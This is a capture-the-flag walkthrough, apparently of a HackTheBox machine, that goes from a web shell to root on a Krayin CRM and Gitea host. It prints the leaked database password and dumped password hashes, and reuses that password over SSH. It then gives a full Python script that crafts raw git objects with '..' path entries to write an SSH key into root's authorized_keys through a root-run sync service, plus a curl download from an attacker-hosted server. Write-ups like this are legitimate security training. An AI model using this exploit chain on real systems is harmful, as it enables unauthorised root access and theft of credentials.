-rw-r--r--  1 www-data www-data   1783 Mar 17  2026 UPGRADE.md
drwxr-xr-x  5 www-data www-data   4096 May 12 12:06 app
-rwxr-xr-x  1 www-data www-data    350 Mar 17  2026 artisan
drwxr-xr-x  3 www-data www-data   4096 May 12 12:06 bootstrap
-rw-r--r--  1 www-data www-data   3824 Mar 17  2026 composer.json
-rw-r--r--  1 www-data www-data 454427 Mar 17  2026 composer.lock
drwxr-xr-x  2 www-data www-data   4096 May 12 12:06 config
drwxr-xr-x  5 www-data www-data   4096 May 12 12:06 database
-rw-r--r--  1 www-data www-data     32 Mar 17  2026 example.txt
drwxr-xr-x  3 www-data www-data   4096 May 12 12:06 lang
-rw-r--r--  1 www-data www-data    216 Mar 17  2026 package.json
drwxr-xr-x  3 www-data www-data   4096 May 12 12:06 packages
-rw-r--r--  1 www-data www-data   1164 Mar 17  2026 phpunit.xml
-rw-r--r--  1 www-data www-data    173 Mar 17  2026 pint.json
drwxr-xr-x  6 www-data www-data   4096 May 12 12:06 public
drwxr-xr-x  5 www-data www-data   4096 May 12 12:06 resources
drwxr-xr-x  2 www-data www-data   4096 May 12 12:06 routes
drwxrwxr-x  6 www-data www-data   4096 May 12 12:06 storage
drwxr-xr-x  4 www-data www-data   4096 May 12 12:06 tests
drwxr-xr-x 71 www-data www-data   4096 May 12 12:06 vendor
-rw-r--r--  1 www-data www-data    263 Mar 17  2026 vite.config.js

www-data@nexus:~/krayin/storage/app/public/tinymce$ ls -la /home/
ls -la /home/
total 16
drwxr-xr-x  4 root  root  4096 May 12 12:06 .
drwxr-xr-x 23 root  root  4096 May 12 12:06 ..
drwxr-x---  2 git   git   4096 May 12 12:27 git
drwxr-x---  3 jones jones 4096 May 12 12:26 jones

Also worth checking immediately — you're www-data, so check if there's a Laravel .env readable with DB creds different from what you already have (sometimes prod .env differs from the git-leaked one), and query the users/admins table directly for password hashes:

cat /var/www/krayin/.env

Output:

www-data@nexus:~/krayin/storage/app/public/tinymce$ cat /var/www/krayin/.env
cat /var/www/krayin/.env
APP_NAME="Krayin CRM"
APP_ENV=local
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD

VITE_HOST=
VITE_PORT=

LOG_CHANNEL=stack
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
DB_PREFIX=

BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=laravel@krayincrm.com
MAIL_FROM_NAME="${APP_NAME}"
MAIL_DOMAIN=webkul.com

MAIL_RECEIVER_DRIVER=sendgrid

IMAP_HOST=imap.example.com
IMAP_PORT=993
IMAP_ENCRYPTION=ssl
IMAP_VALIDATE_CERT=true
IMAP_USERNAME=your_username
IMAP_PASSWORD=your_password

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

Directly try making a mysql query:

mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SELECT * FROM users;" 2>/dev/null

Output:

www-data@nexus:~/krayin/storage/app/public/tinymce$ mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SELECT * FROM users;" 2>/dev/null
mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SELECT * FROM users;" 2>/dev/null
+----+-------+---------------------+--------------------------------------------------------------+--------+-----------------+---------+----------------+---------------------+---------------------+-------+
| id | name  | email               | password                                                     | status | view_permission | role_id | remember_token | created_at          | updated_at          | image |
+----+-------+---------------------+--------------------------------------------------------------+--------+-----------------+---------+----------------+---------------------+---------------------+-------+
|  1 | james | j.matthew@nexus.htb | $2y$10$ez0AouNyeP4NmwjLSV5vCOAJxMLi.6fCKmGC3M6Ve5xJmWJOLRJ5i |      1 | global          |       1 | NULL           | 2026-04-23 04:20:11 | 2026-04-23 04:20:11 | NULL  |
+----+-------+---------------------+--------------------------------------------------------------+--------+-----------------+---------+----------------+---------------------+---------------------+-------+

List all the tables in the DB:

mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SHOW TABLES;" 2>/dev/null

Output:

www-data@nexus:~/krayin/storage/app/public/tinymce$ mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SHOW TABLES;" 2>/dev/null
mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SHOW TABLES;" 2>/dev/null
+------------------------+
| Tables_in_krayin       |
+------------------------+
| activities             |
| activity_files         |
| activity_participants  |
| attribute_options      |
| attribute_values       |
| attributes             |
| core_config            |
| countries              |
| country_states         |
| datagrid_saved_filters |
| email_attachments      |
| email_tags             |
| email_templates        |
| emails                 |
| failed_jobs            |
| groups                 |
| import_batches         |
| imports                |
| job_batches            |
| jobs                   |
| lead_activities        |
| lead_pipeline_stages   |
| lead_pipelines         |
| lead_products          |
| lead_quotes            |
| lead_sources           |
| lead_stages            |
| lead_tags              |
| lead_types             |
| leads                  |
| marketing_campaigns    |
| marketing_events       |
| migrations             |
| organizations          |
| person_activities      |
| person_tags            |
| personal_access_tokens |
| persons                |
| product_activities     |
| product_inventories    |
| product_tags           |
| products               |
| quote_items            |
| quotes                 |
| roles                  |
| tags                   |
| user_groups            |
| user_password_resets   |
| users                  |
| warehouse_activities   |
| warehouse_locations    |
| warehouse_tags         |
| warehouses             |
| web_form_attributes    |
| web_forms              |
| webhooks               |
| workflows              |
+------------------------+

Check the emails table — Krayin CRM stores sent/received email content in the DB

Since the .env configures SMTP/IMAP mail integration, there's a good chance an email was sent containing a password (e.g., a "here's your new account password" message to jones):

mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SELECT * FROM emails;" 2>/dev/null

Output:

www-data@nexus:~/krayin/storage/app/public/tinymce$ mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SELECT * FROM emails;" 2>/dev/null
mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SELECT * FROM emails;" 2>/dev/null

www-data@nexus:~/krayin/storage/app/public/tinymce$ mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SELECT * FROM email_templates;" 2>/dev/null
mysql -u krayin -p'y27xb3ha!!74GbR' -h localhost krayin -e "SELECT * FROM email_templates;" 2>/dev/null
+----+----

|  1 | Activity created  | Activity created: {%activities.title%}  | <p style="font-size: 16px; color: #5e5e5e;">You have a new activity, please find the details bellow:</p>
<p><strong style="font-size: 16px;">Details</strong></p>
<table style="height: 97px; width: 952px;">
	<tbody>
		<tr>
			<td style="width: 116.953px; color: #546e7a; font-size: 16px;">Title</td>
			<td style="width: 770.047px; font-size: 16px;">{%activities.title%}</td>
		</tr>
		<tr>
			<td style="width: 116.953px; color: #546e7a; font-size: 16px;">Type</td>
				<td style="width: 770.047px; font-size: 16px;">{%activities.type%}</td>
		</tr>
		<tr>
			<td style="width: 116.953px; color: #546e7a; font-size: 16px;">Date</td>
			<td style="width: 770.047px; font-size: 16px;">{%activities.schedule_from%} to&nbsp;{%activities.schedule_to%}</td>
		</tr>
		<tr>
			<td style="width: 116.953px; color: #546e7a; font-size: 16px; vertical-align: text-top;">Participants</td>
			<td style="width: 770.047px; font-size: 16px;">{%activities.participants%}</td>
		</tr>
	</tbody>
</table> | 2026-04-23 04:20:11 | 2026-04-23 04:20:11 |
|  2 | Activity modified | Activity modified: {%activities.title%} | <p style="font-size: 16px; color: #5e5e5e;">You have a new activity modified, please find the details bellow:</p>
<p><strong style="font-size: 16px;">Details</strong></p>
<table style="height: 97px; width: 952px;">
	<tbody>
		<tr>
			<td style="width: 116.953px; color: #546e7a; font-size: 16px;">Title</td>
			<td style="width: 770.047px; font-size: 16px;">{%activities.title%}</td>
		</tr>
		<tr>
			<td style="width: 116.953px; color: #546e7a; font-size: 16px;">Type</td>
			<td style="width: 770.047px; font-size: 16px;">{%activities.type%}</td>
		</tr>
		<tr>
			<td style="width: 116.953px; color: #546e7a; font-size: 16px;">Date</td>
			<td style="width: 770.047px; font-size: 16px;">{%activities.schedule_from%} to&nbsp;{%activities.schedule_to%}</td>
		</tr>
		<tr>
			<td style="width: 116.953px; color: #546e7a; font-size: 16px; vertical-align: text-top;">Participants</td>
			<td style="width: 770.047px; font-size: 16px;">{%activities.participants%}</td>
		</tr>
	</tbody>
</table> | 2026-04-23 04:20:11 | 2026-04-23 04:20:11 |

Check MailHog directly — it's the configured mail catcher (MAIL_HOST=mailhog), and since you now have local shell access, you can query its API even if it's not exposed externally:

curl -s http://127.0.0.1:8025/api/v2/messages | head -100

Output:

www-data@nexus:~/krayin/storage/app/public/tinymce$ curl -s http://127.0.0.1:8025/api/v2/messages | head -100
curl -s http://127.0.0.1:8025/api/v2/messages | head -100

If MailHog isn't on that port/host, check what's actually listening:

ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null

Output:

www-data@nexus:~/krayin/storage/app/public/tinymce$ ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null
ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
udp   UNCONN 0      0         127.0.0.54:53         0.0.0.0:*
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*
udp   UNCONN 0      0            0.0.0.0:68         0.0.0.0:*
tcp   LISTEN 0      70         127.0.0.1:33060      0.0.0.0:*
tcp   LISTEN 0      4096       127.0.0.1:3000       0.0.0.0:*
tcp   LISTEN 0      4096      127.0.0.54:53         0.0.0.0:*
tcp   LISTEN 0      151        127.0.0.1:3306       0.0.0.0:*
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*
tcp   LISTEN 0      4096         0.0.0.0:22         0.0.0.0:*
tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*    users:(("nginx",pid=1449,fd=5),("nginx",pid=1448,fd=5))
tcp   LISTEN 0      4096            [::]:22            [::]:*
tcp   LISTEN 0      511             [::]:80            [::]:*    users:(("nginx",pid=1449,fd=6),("nginx",pid=1448,fd=6))

Check for readable files despite permissions — /home/jones showed drwxr-x---, owned by jones:jones, so www-data likely can't read inside it, but worth a quick check in case something's group-readable or world-readable:

ls -la /home/jones/
find /home/jones -readable 2>/dev/null

Output:

www-data@nexus:~/krayin/storage/app/public/tinymce$ ls -la /home/jones/
ls -la /home/jones/
ls: cannot open directory '/home/jones/': Permission denied

www-data@nexus:~/krayin/storage/app/public/tinymce$ find /home/jones -readable 2>/dev/null
find /home/jones -readable 2>/dev/null

Check www-data's own shell history / running processes for leaked creds

cat ~/.bash_history 2>/dev/null
ps aux
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' '

Output:

www-data@nexus:~/krayin/storage/app/public/tinymce$ cat ~/.bash_history 2>/dev/null
cat ~/.bash_history 2>/dev/null

www-data@nexus:~/krayin/storage/app/public/tinymce$ ps aux
ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3  22096 13428 ?        Ss   11:06   0:03 /sbin/init
root           2  0.0  0.0      0     0 ?        S    11:06   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        S    11:06   0:00 [pool_workque
root           4  0.0  0.0      0     0 ?        I<   11:06   0:00 [kworker/R-rc
... (no jones)

www-data@nexus:~/krayin/storage/app/public/tinymce$ cat /proc/*/cmdline 2>/dev/null | tr '\0' ' '
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' '
/sbin/init /usr/sbin/ModemManager /usr/local/bin/gitea web --config /etc/gitea/app.ini /usr/sbin/cron -f -P php-fpm: master process (/etc/php/8.3/fpm/php-fpm.conf)                       nginx: master process /usr/sbin/nginx -g daemon on; master_process on; nginx: worker process                            nginx: worker process                            /sbin/agetty -o -p -- \u --noclear - linux /usr/sbin/mysqld sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups /usr/libexec/fwupd/fwupd /usr/libexec/upowerd php-fpm: pool www                                                             php-fpm: pool www
... (bunch of useless text; no jones)

Finding:
Tried sshing as the user jones using the same DB password we found in the .env file of this app: /var/www/krayin/.env.

www-data@nexus:~/krayin/storage/app/public/tinymce$ ssh jones@127.0.0.1
ssh jones@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
jones@127.0.0.1's password: y27xb3ha!!74GbR

Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Oct  3 01:38:44 PM UTC 2026

  System load:           0.06
  Usage of /:            66.9% of 6.48GB
  Memory usage:          26%
  Swap usage:            0%
  Processes:             227
  Users logged in:       0
  IPv4 address for eth0: 10.129.116.70
  IPv6 address for eth0: dead:beef::a0de:adff:fe30:3689


Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
jones@nexus:~$

Answer: y27xb3ha!!74GbR

Task 8

Submit the flag located in the jones user's home directory.

Output:

jones@nexus:~$ ls
ls
user.txt
jones@nexus:~$ cat user.txt
cat user.txt
92bdc2ec1d859689ba86f2d1cfb5b7f7

flag: 92bdc2ec1d859689ba86f2d1cfb5b7f7

Task 9

What systemd timer triggers the template synchronization service?

Step 1: List all timers:

systemctl list-timers --all

Output:

jones@nexus:~$ systemctl list-timers -all > timers.txt
systemctl list-timers -all > timers.txt
jones@nexus:~$ cat timers.txt
cat timers.txt
NEXT                             LEFT LAST                              PASSED UNIT                           ACTIVATES
Sat 2026-10-03 13:50:00 UTC       47s Sat 2026-10-03 13:40:08 UTC     9min ago sysstat-collect.timer          sysstat-collect.service
Sat 2026-10-03 13:50:09 UTC       57s Sat 2026-10-03 13:49:09 UTC       2s ago gitea-template-sync.timer      gitea-template-sync.service
Sat 2026-10-03 14:09:00 UTC     19min Sat 2026-10-03 13:39:05 UTC    10min ago phpsessionclean.timer          phpsessionclean.service
Sat 2026-10-03 14:34:33 UTC     45min Sat 2026-10-03 13:06:27 UTC    42min ago fwupd-refresh.timer            fwupd-refresh.service
Sat 2026-10-03 20:41:40 UTC        6h Mon 2025-03-31 16:38:00 UTC            - apt-daily.timer                apt-daily.service
Sat 2026-10-03 21:10:52 UTC        7h Sat 2026-10-03 11:59:57 UTC 1h 49min ago motd-news.timer                motd-news.service
Sun 2026-10-04 00:00:00 UTC       10h Sat 2026-10-03 11:06:50 UTC 2h 42min ago dpkg-db-backup.timer           dpkg-db-backup.service
Sun 2026-10-04 00:00:00 UTC       10h Sat 2026-10-03 11:06:50 UTC 2h 42min ago logrotate.timer                logrotate.service
Sun 2026-10-04 00:07:00 UTC       10h -                                      - sysstat-summary.timer          sysstat-summary.service
Sun 2026-10-04 03:10:13 UTC       13h Sat 2026-10-03 11:07:20 UTC 2h 41min ago e2scrub_all.timer              e2scrub_all.service
Sun 2026-10-04 06:00:31 UTC       16h Sat 2026-10-03 11:12:17 UTC 2h 36min ago apt-daily-upgrade.timer        apt-daily-upgrade.service
Sun 2026-10-04 08:27:18 UTC       18h Sat 2026-10-03 11:38:57 UTC 2h 10min ago man-db.timer                   man-db.service
Sun 2026-10-04 11:11:57 UTC       21h Sat 2026-10-03 11:11:57 UTC 2h 37min ago update-notifier-download.timer update-notifier-download.service
Sun 2026-10-04 11:21:47 UTC       21h Sat 2026-10-03 11:21:47 UTC 2h 27min ago systemd-tmpfiles-clean.timer   systemd-tmpfiles-clean.service
Mon 2026-10-05 00:34:32 UTC 1 day 10h Sat 2026-10-03 11:46:17 UTC  2h 2min ago fstrim.timer                   fstrim.service
Tue 2026-10-06 07:37:50 UTC    2 days Mon 2026-03-23 10:50:29 UTC            - update-notifier-motd.timer     update-notifier-motd.service
-                                   - -                                      - apport-autoreport.timer        apport-autoreport.service
-                                   - -                                      - snapd.snap-repair.timer        snapd.snap-repair.service
-                                   - -                                      - ua-timer.timer                 ua-timer.service

19 timers listed.

image-10.png
This shows every timer (active and inactive) along with what it triggers — look for one with a name suggesting "sync," "template," or something CRM/Krayin-related.

Note there is one that triggers:

gitea-template-sync.service

Found it — gitea-template-sync.timer, firing every minute or so and triggering gitea-template-sync.service.

Answer: gitea-template-sync.timer

Task 10

Submit the flag located in the root user's home directory.

Step 1: Inspect the service file

systemctl cat gitea-template-sync.service

Output:

jones@nexus:~$ systemctl cat gitea-template-sync.service
systemctl cat gitea-template-sync.service
# /etc/systemd/system/gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

Step 2: Check permissions on whatever script/binary it executes

Once you see the ExecStart= path:

ls -la /etc/gitea/template-sync.py
cat /etc/gitea/template-sync.py

Output:

jones@nexus:~$ ls -la /etc/gitea/template-sync.py
ls -la /etc/gitea/template-sync.py
-rw-r--r-- 1 git git 4184 May 11 18:47 /etc/gitea/template-sync.py

Output:

jones@nexus:~$ cat /etc/gitea/template-sync.py
cat /etc/gitea/template-sync.py
import os
import sys
import json
import subprocess
import time
import urllib.request

GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"

def log(msg):
    ts = time.strftime("%Y-%m-%d %H:%M:%S")
    line = "[%s] %s" % (ts, msg)
    print(line, flush=True)
    try:
        os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
        with open(LOG_FILE, 'a') as f:
            f.write(line + '\n')
    except:
        pass

def load_config():
    config = {}
    for path in ['/etc/gitea/template-sync.conf', '/opt/forge/app/.env']:
        try:
            with open(path) as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#') and '=' in line:
                        k, v = line.split('=', 1)
                        config[k.strip()] = v.strip()
        except:
            pass
    return config

def get_token():
    cfg = load_config()
    return cfg.get('GITEA_API_TOKEN')

def get_template_repos(token):
    url = "%s/api/v1/repos/search?limit=50" % GITEA_URL
    req = urllib.request.Request(url, headers={
        'Authorization': 'token %s' % token
    })
    try:
        with urllib.request.urlopen(req) as resp:
            data = json.loads(resp.read())
            repos = data.get('data', data) if isinstance(data, dict) else data
            return [r for r in repos if r.get('template', False)]
    except Exception as e:
        log("API error: %s" % e)
        return []

def sync_template(repo_info):
    owner = repo_info['owner']['login']
    name = repo_info['name'].lower()
    bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
    stage_path = os.path.join(STAGING_DIR, owner, name)

    if not os.path.isdir(bare_path):
        log("  repo not found: %s" % bare_path)
        return

    # Read tree entries from the bare repository
    try:
        GIT = ['git', '-c', 'safe.directory=*']
        result = subprocess.run(
            GIT + ['ls-tree', '-r', 'HEAD'],
            cwd=bare_path,
            capture_output=True, text=True, timeout=10
        )
        if result.returncode != 0:
            log("  ls-tree failed: %s" % result.stderr.strip())
            return
    except Exception as e:
        log("  ls-tree error: %s" % e)
        return

    entries = []
    for line in result.stdout.strip().split('\n'):
        if not line:
            continue
        parts = line.split('\t', 1)
        if len(parts) != 2:
            continue
        meta, filepath = parts
        mode, objtype, objhash = meta.split()
        if objtype == 'blob':
            entries.append((mode, objhash, filepath))

    if not entries:
        log("  no files in template")
        return

    # Extract files to staging directory
    for mode, objhash, filepath in entries:
        target = os.path.join(stage_path, filepath)
        target_dir = os.path.dirname(target)

        try:
            os.makedirs(target_dir, exist_ok=True)
            GIT = ['git', '-c', 'safe.directory=*']
            cat_result = subprocess.run(
                GIT + ['cat-file', 'blob', objhash],
                cwd=bare_path,
                capture_output=True, timeout=10
            )
            if cat_result.returncode != 0:
                continue

            with open(target, 'wb') as f:
                f.write(cat_result.stdout)

            if mode == '100755':
                os.chmod(target, 0o755)
            else:
                os.chmod(target, 0o644)

            log("  synced: %s" % filepath)
        except Exception as e:
            log("  error syncing %s: %s" % (filepath, e))

def main():
    log("Template sync starting")

    token = get_token()
    if not token:
        log("No API token found")
        sys.exit(1)

    templates = get_template_repos(token)
    log("Found %d template repo(s)" % len(templates))

    for repo in templates:
        name = repo['full_name']
        log("Syncing template: %s" % name)
        sync_template(repo)

    log("Template sync complete")

if __name__ == '__main__':
    main()

This script is the privesc vector — and there's a serious flaw: when it writes synced files, it preserves the exact filepath from git ls-tree with no path sanitization:

target = os.path.join(stage_path, filepath)
...
with open(target, 'wb') as f:
    f.write(cat_result.stdout)

If filepath contains ../ sequences, os.path.join will happily traverse outside stage_path — and since this whole script runs as root, that's an arbitrary file write as root. Git's normal CLI won't let you commit a path like ../../../root/.ssh/authorized_keys, but using git's low-level plumbing commands (hash-object, mktree, commit-tree) bypasses that restriction, since they build the tree object directly without the sanity checks the porcelain commands enforce.

Plan: push a malicious tree entry that writes your SSH key into /root/.ssh/authorized_keys, mark the repo as a template, and let the timer do the rest.

Step 1: Generate an SSH keypair (if you don't have one handy) and get your public key ready

ssh-keygen -t ed25519 -f ~/.ssh/nexus_root -N ""
cat ~/.ssh/nexus_root.pub

Output:

jones@nexus:~$ ssh-keygen -t ed25519 -f ~/.ssh/nexus_root -N ""
ssh-keygen -t ed25519 -f ~/.ssh/nexus_root -N ""
Generating public/private ed25519 key pair.
Created directory '/home/jones/.ssh'.
Your identification has been saved in /home/jones/.ssh/nexus_root
Your public key has been saved in /home/jones/.ssh/nexus_root.pub
The key fingerprint is:
SHA256:e6QuOPFM17EYK2iB6XQcTn0wtu/ghRpzV4UZVjI1SN8 jones@nexus
The key's randomart image is:
+--[ED25519 256]--+
|     .+. .*B=    |
|    o..o..+= o   |
|   * ...  . . E  |
|  + =  o...      |
| o .oo+ S=.o     |
|  . +*o=++o      |
|   ..*.o+ .      |
|    o +. .       |
|     . ..        |
+----[SHA256]-----+
jones@nexus:~$ cat ~/.ssh/nexus_root.pub
cat ~/.ssh/nexus_root.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBrg5ATjWhbBHmvCjlW4w8YDA7SxhWmOWV1rILzKvVRx jones@nexus

Step 2: Create a repo on Gitea (via the web UI at http://git.nexus.htb/) — register/log in if needed, create a new repo (any name, e.g. pwn), and in its Settings, enable "Make this repository a template". This is what gets it picked up by get_template_repos().

Check if you need to register, or if you already have Gitea access

Browse to http://git.nexus.htb/. Since the repo you cloned earlier (krayin-docker-setup) was publicly browsable, registration might be open, or there could already be a disabled/open-registration setting. Try:
image-11.png

Log in, then create a new repository

Once logged in, click the "+" icon (top right) → "New Repository", or go directly to:
image-12.png

Mark it as a template repository

This is the critical step — the sync script only picks up repos where template: true. After creating it:

curl -s "http://git.nexus.htb/api/v1/repos/search?limit=50" | python3 -m json.tool | grep -A2 '"template": true'

Output:

$ curl -s "http://git.nexus.htb/api/v1/repos/search?limit=50" | python3 -m json.tool | grep -A2 '"template": true'
            "template": true,
                                         "mirror": false,
                                                                     "size": 27,

Step 3: Clone it locally and use git plumbing to craft the malicious path-traversal blob

git clone http://git.nexus.htb/<your_user>/pwn.git
cd pwn

# Create the blob containing your public key
KEY=$(cat ~/.ssh/nexus_root.pub)
BLOB=$(echo "$KEY" | git hash-object -w --stdin)

# Build a tree with a path-traversal filename pointing at root's authorized_keys
echo "100644 blob $BLOB	../../../../root/.ssh/authorized_keys" | git mktree

# Take the resulting tree hash and commit it
TREE=<tree_hash_from_above>
COMMIT=$(git commit-tree $TREE -m "pwn")

# Force the branch to point at this crafted commit
git update-ref refs/heads/master $COMMIT
git push origin master --force

Output:

jones@nexus:~$ git clone http://git.nexus.htb/jones/pwn.git
git clone http://git.nexus.htb/jones/pwn.git
Cloning into 'pwn'...
fatal: unable to access 'http://git.nexus.htb/jones/pwn.git/': Could not resolve host: git.nexus.htb

add the host entry here too (quick fix):

echo "127.0.0.1 git.nexus.htb" | sudo tee -a /etc/hosts

But jones likely doesn't have sudo rights to /etc/hosts (you'd have found that via sudo -l earlier — if it came back empty, this won't work).

Try without sudo first in case you have write access:

echo "127.0.0.1 git.nexus.htb" >> /etc/hosts

Just use the IP directly, no hostname needed:

Since Gitea is running locally on the target itself (the systemd service references GITEA_URL = "http://localhost:3000"), you don't need the nexus.htb vhost routing at all from here — you can hit it directly:

git clone http://127.0.0.1:3000/jones/pwn.git
cd pwn

Output:

jones@nexus:~$ git clone http://127.0.0.1:3000/jones/pwn.git
git clone http://127.0.0.1:3000/jones/pwn.git
Cloning into 'pwn'...
warning: You appear to have cloned an empty repository.
jones@nexus:~$ ls
ls
pwn  timers.txt  user.txt

Then I found a script that manually crafted raw Git objects containing path traversal sequences (..) within tree entries—something the standard Git client would normally reject.

#!/usr/bin/env python3
import hashlib,zlib,os,subprocess,sys,time

def write_obj(data,t):
    h=("%s %d"%(t,len(data))).encode()+b"\x00"
    s=h+data
    sha=hashlib.sha1(s).hexdigest()
    d=os.path.join(".git","objects",sha[:2])
    os.makedirs(d,exist_ok=True)
    p=os.path.join(d,sha[2:])
    if not os.path.exists(p):
        open(p,"wb").write(zlib.compress(s))
    return sha

def entry(mode,name,sha):
    return("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)

if not os.path.isdir(".git"):
    print("Run inside git repo");sys.exit(1)

r=subprocess.run(["cat","/tmp/.k.pub"],capture_output=True,text=True)
if r.returncode!=0:
    print("ssh-keygen -t ed25519 -f /tmp/.k -N ''");sys.exit(1)
key=r.stdout.strip()+"\n"

blob=write_obj(key.encode(),"blob")
readme=write_obj(b"# Template\n","blob")
ssh_t=write_obj(entry("100644","authorized_keys",blob),"tree")
cur=write_obj(entry("40000",".ssh",ssh_t),"tree")
fir=write_obj(entry("40000","root",cur),"tree")
for i in range(4):
    fir=write_obj(entry("40000","..",fir),"tree")
root=write_obj(entry("100644","README.md",readme)+entry("40000","..",fir),"tree")
ts=int(time.time())
c="tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"%(root,ts,ts)
sha=write_obj(c.encode(),"commit")
os.makedirs(os.path.join(".git","refs","heads"),exist_ok=True)
open(os.path.join(".git","refs","heads","main"),"w").write(sha+"\n")
print("Done: "+sha)

To include this file in the repository I did the following:

On your local attack machine, navigate to the folder where your file is located and start a quick web server:

┌──(macc㉿kaliLab)-[~/krayin-docker-setup]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On the remote web shell, use curl or wget to download the file directly into /tmp (which usually has write permissions):

jones@nexus:~/pwn$ curl http://10.10.15.230:8000/build.py -o /home/jones/pwn/build.py
curl http://10.10.15.230:8000/build.py -o /home/jones/pwn/build.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1421  100  1421    0     0   4592      0 --:--:-- --:--:-- --:--:--  4598

Now we have the build.py script within the pwn repository. Now we need to generate a key:

jones@nexus:~/pwn$ ssh-keygen -t ed25519 -f /tmp/.k -N ''
ssh-keygen -t ed25519 -f /tmp/.k -N ''
Generating public/private ed25519 key pair.
Your identification has been saved in /tmp/.k
Your public key has been saved in /tmp/.k.pub
The key fingerprint is:
SHA256:s6VyPDJDXvj4ExVkHePKcCBJPXhgjrJUZlIrYLO4AfQ jones@nexus
The key's randomart image is:
+--[ED25519 256]--+
|++..=.==..o.o.   |
|+.+= =o.+o....   |
|o.+Eo .......    |
| + +   . +..     |
|. .   o S.+      |
|     o =.=       |
|      B B.       |
|       B..       |
|        ..       |
+----[SHA256]-----+
jones@nexus:~/pwn$ ls -la /tmp/.k.pub
ls -la /tmp/.k.pub
-rw-r--r-- 1 jones jones 93 Oct  3 16:00 /tmp/.k.pub

Having generated this key, lets try to run the script:

jones@nexus:~/pwn$ python3 build.py
python3 build.py
Done: 234651de51c545db99417b085818dc44ce05cabd

Now we should be able to actually push the script to the repository:

jones@nexus:~/pwn$ git push -u origin main
git push -u origin main
Username for 'http://127.0.0.1:3000': jones
jones
Password for 'http://jones@127.0.0.1:3000': y27xb3ha!!74GbR

warning: unable to access '../../../../../root/.gitattributes': Permission denied
warning: unable to access '../../../../../root/.ssh/.gitattributes': Permission denied
Enumerating objects: 11, done.
Counting objects: 100% (11/11), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (11/11), 609 bytes | 152.00 KiB/s, done.
Total 11 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
